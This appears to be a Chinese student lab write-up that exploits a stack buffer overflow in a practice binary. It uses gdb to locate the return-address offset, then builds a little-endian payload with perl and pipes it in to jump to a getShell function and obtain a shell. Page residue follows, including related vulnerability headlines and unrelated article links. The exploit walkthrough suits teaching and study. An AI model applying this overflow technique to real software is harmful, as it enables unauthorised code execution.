利用foo函数的Bof漏洞攻击:构造攻击字符串

一、基础知识储备

objdump反汇编指令、gdb函数调试运行、Perl语言、|管道符

二、实验步骤

1. 通过反汇编了解程序功能及代码


①反汇编查看文件内容

②可以知道getShell函数地址为0804847d

③可知foo函数执行完成之后,系统会调用的下一条指令的地址为80484ba,此地址为返回地址

我们要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484ba的值为0804847d,这样就会执行getshell函数。

2. 确定输入的哪几个字符会覆盖返回地址

2.1调试运行程序 gdb

通过输入gdb 20154305 指令调试程序,再输入r运行程序

2.2 输入一串字符大致确定覆盖位置

④程序运行后我们输入字符串111111112222222233333333444444445555555566666666

⑤程序出现分段错误,0x35353535 in ?? (),意思是这个地址的指令错误

此时我们通过info r查看寄存器信息

⑥显示出eip指令寄存器存储的地址为0x35353535,此ASCII值代表5555

⑦也可以通过info r eip指令直接显示指令寄存器存储的地址。

5555则可以知道我们输入的字符串从55555555开始溢出,但是还不确定是哪四个5

2.3 进一步确定覆盖位置

继续调试运行20154305文件

⑧输入字符串`1111111122222222333333334444444412345678'产生溢出错误

⑨查看指令寄存器eip内的值为0x34333231,表示4321。

由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值

所以接下来我们需要修改1234的值为0804847d进行覆盖

3. 构造输入字符串

3.1 确定字符串输入顺序

就是需要输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08

由⑨可以知道小字节优先,应该输入11111111222222223333333344444444\x7d\x84\x04\x08

3.2 构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。

键入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

\x0a表示回车。

可以通过xxd查看文件十六进制格式的内容。

3.3 然后将input的输入,通过管道符“|”,作为20154305的输入,覆盖返回地址

(cat input; cat) | ./20154305

此时我们就可以输入Shell指令了

箭头11的ls就是Shell指令。

到此通过利用foo的Bof漏洞攻击已经完成。

三、实验总结

利用缓冲区溢出的漏洞攻击比较难的地方是如何确定输入的哪些字符串会覆盖返回地址,以及如何通过管道输入,有些新的知识需要我这个小白消化理解。

利用foo函数的Bof漏洞攻击:构造攻击字符串的更多相关文章

  1. DedeCMS V5.7sp2最新版本parse_str函数SQL注入漏洞

    织梦dedecms,在整个互联网中许多企业网站,个人网站,优化网站都在使用dede作为整个网站的开发架构,dedecms采用php+mysql数据库的架构来承载整个网站的运行与用户的访问,首页以及栏目 ...

  2. 学习xss模拟构造攻击(第一篇)

    本文作者:i春秋签约作家——rosectow 0×00前言 XSS又名叫CSS全程(cross site scriptting),中文名跨站脚本攻击,目前网站的常见漏洞之一,它的危害没有像上传漏洞,s ...

  3. PHP ‘asn1_time_to_time_t’函数内存损坏漏洞

    漏洞名称: PHP ‘asn1_time_to_time_t’函数内存损坏漏洞 CNNVD编号: CNNVD-201312-348 发布时间: 2013-12-18 更新时间: 2013-12-18 ...

  4. Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞

    漏洞名称: Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201312-169 发布时间: 2013-12-12 更新时间 ...

  5. Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞

    漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...

  6. Linux kernel ‘aac_send_raw_srb’函数输入验证漏洞

    漏洞名称: Linux kernel ‘aac_send_raw_srb’函数输入验证漏洞 CNNVD编号: CNNVD-201311-422 发布时间: 2013-11-29 更新时间: 2013- ...

  7. Linux kernel ‘lbs_debugfs_write’函数数字错误漏洞

    漏洞名称: Linux kernel ‘lbs_debugfs_write’函数数字错误漏洞 CNNVD编号: CNNVD-201311-421 发布时间: 2013-11-29 更新时间: 2013 ...

  8. Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞

    漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...

  9. Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞

    漏洞名称: Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-154 发布时间: 2013-11-13 更新时间: 201 ...

随机推荐

  1. java实现pdf按页切分成图片

    package com.ces.component.pictrueCut.entity; import java.awt.Image; import java.awt.Rectangle; impor ...

  2. Spring 了解Bean的一生(生命周期)

    转载 https://blog.csdn.net/w_linux/article/details/80086950 该篇博客就来了解IoC容器下Bean的一生吧,也可以理解为bean的生命周期. ## ...

  3. py库: GUI(tkinter)

    图形用户界面(Graphical User Interface,简称 GUI) http://www.runoob.com/python/python-gui-tkinter.html Python ...

  4. Python-反射getattr的应用

    login.py #!/usr/bin/dev python# coding:utf-8 def index(): print u'欢迎访问xx网站首页' def login(): print u'登 ...

  5. sass的基本使用

    使用sass的前提是安装Ruby,如果是Mac系统,那么免去安装,Windows系统需要自行安装https://www.sass.hk/install/.当安装好以后,直接执行安装sass命令:gem ...

  6. 阿里云ODPS <====>蚂蚁大数据

    1.命令行客户端工具的安装参考文档:http://repo.aliyun.com/odpscmd/?spm=a2c4g.11186623.2.17.5c185c23zHshCq 2.创建和查看表:ht ...

  7. Codeforces Round #439 C. The Intriguing Obsession

    题意:给你三种不同颜色的点,每种若干(小于5000),在这些点中连线,要求同色的点的最短路大于等于3或者不连通,求有多少种连法. Examples Input 1 1 1 Output 8 Input ...

  8. VS2015秘钥

    Visual Studio Professional 2015简体中文版(专业版)KEY:HMGNV-WCYXV-X7G9W-YCX63-B98R2Visual Studio Enterprise 2 ...

  9. cdnbest区域里快速配置全部节点的缓存

    1.在cdn后台区域中自定义区域配置中添加下面代码,具体参数也可自行调整,代码解释在文档最下面有 <!--#start --> <config> <lang>zh_ ...

  10. 你不知道的JavaScript中,读书笔记

    七种内置类型 null, undefined, boolean, number, string, object, symbol typeof null === 'object' // true nul ...